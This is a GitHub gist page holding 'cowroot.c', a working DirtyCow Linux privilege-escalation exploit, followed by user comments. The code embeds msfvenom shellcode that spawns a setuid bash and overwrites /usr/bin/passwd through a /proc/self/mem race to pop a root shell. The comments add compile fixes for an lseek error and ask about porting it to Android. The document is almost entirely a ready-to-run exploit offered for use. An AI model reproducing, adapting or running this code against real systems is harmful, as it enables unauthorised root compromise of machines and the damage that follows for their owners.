-
Star
(138)
You must be signed in to star a gist -
Fork
(71)
You must be signed in to fork a gist
-
-
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten | |
| * Popping root shell. | |
| * Don't forget to restore /tmp/bak | |
| * thread stopped | |
| * thread stopped | |
| * root@box:/root/cow# id | |
| * uid=0(root) gid=1000(foo) groups=1000(foo) | |
| * | |
| * @robinverton | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <sys/mman.h> | |
| #include <fcntl.h> | |
| #include <pthread.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| void *map; | |
| int f; | |
| int stop = 0; | |
| struct stat st; | |
| char *name; | |
| pthread_t pth1,pth2,pth3; | |
| // change if no permissions to read | |
| char suid_binary[] = "/usr/bin/passwd"; | |
| /* | |
| * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
| */ | |
| unsigned char sc[] = { | |
| 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
| 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
| 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
| 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
| 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
| }; | |
| unsigned int sc_len = 177; | |
| /* | |
| * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
| unsigned char sc[] = { | |
| 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
| 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
| 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
| 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
| 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
| 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
| 0x89, 0xe1, 0xcd, 0x80 | |
| }; | |
| unsigned int sc_len = 136; | |
| */ | |
| void *madviseThread(void *arg) | |
| { | |
| char *str; | |
| str=(char*)arg; | |
| int i,c=0; | |
| for(i=0;i<1000000 && !stop;i++) { | |
| c+=madvise(map,100,MADV_DONTNEED); | |
| } | |
| printf("thread stopped\n"); | |
| } | |
| void *procselfmemThread(void *arg) | |
| { | |
| char *str; | |
| str=(char*)arg; | |
| int f=open("/proc/self/mem",O_RDWR); | |
| int i,c=0; | |
| for(i=0;i<1000000 && !stop;i++) { | |
| lseek(f,map,SEEK_SET); | |
| c+=write(f, str, sc_len); | |
| } | |
| printf("thread stopped\n"); | |
| } | |
| void *waitForWrite(void *arg) { | |
| char buf[sc_len]; | |
| for(;;) { | |
| FILE *fp = fopen(suid_binary, "rb"); | |
| fread(buf, sc_len, 1, fp); | |
| if(memcmp(buf, sc, sc_len) == 0) { | |
| printf("%s overwritten\n", suid_binary); | |
| break; | |
| } | |
| fclose(fp); | |
| sleep(1); | |
| } | |
| stop = 1; | |
| printf("Popping root shell.\n"); | |
| printf("Don't forget to restore /tmp/bak\n"); | |
| system(suid_binary); | |
| } | |
| int main(int argc,char *argv[]) { | |
| char *backup; | |
| printf("DirtyCow root privilege escalation\n"); | |
| printf("Backing up %s to /tmp/bak\n", suid_binary); | |
| asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
| system(backup); | |
| f = open(suid_binary,O_RDONLY); | |
| fstat(f,&st); | |
| printf("Size of binary: %d\n", st.st_size); | |
| char payload[st.st_size]; | |
| memset(payload, 0x90, st.st_size); | |
| memcpy(payload, sc, sc_len+1); | |
| map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
| printf("Racing, this may take a while..\n"); | |
| pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
| pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
| pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
| pthread_join(pth3, NULL); | |
| return 0; | |
| } |
how you generate the payload of the metasploit in hexcode(shell code)?
Any reason why we use 100 as size with madvise
Awesome, saved my old dev computer after I forgot my root creds.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine
It works but freeze the machine. I think there isn´t other way like cowroot
version `GLIBC_2.34' not found
./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./cowroot)
LSEEK( ) Error on Compiling
If you are facing an lseek() error. Go to line 97 and find the following piece of code:
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET); # Change Me
c+=write(f, str, sc_len);
}Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);. Now it should compile without errors.
The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf
Try this
lseek(f,(uintptr_t)map,SEEK_SET); ^

how can i compile it in order to run it on android device?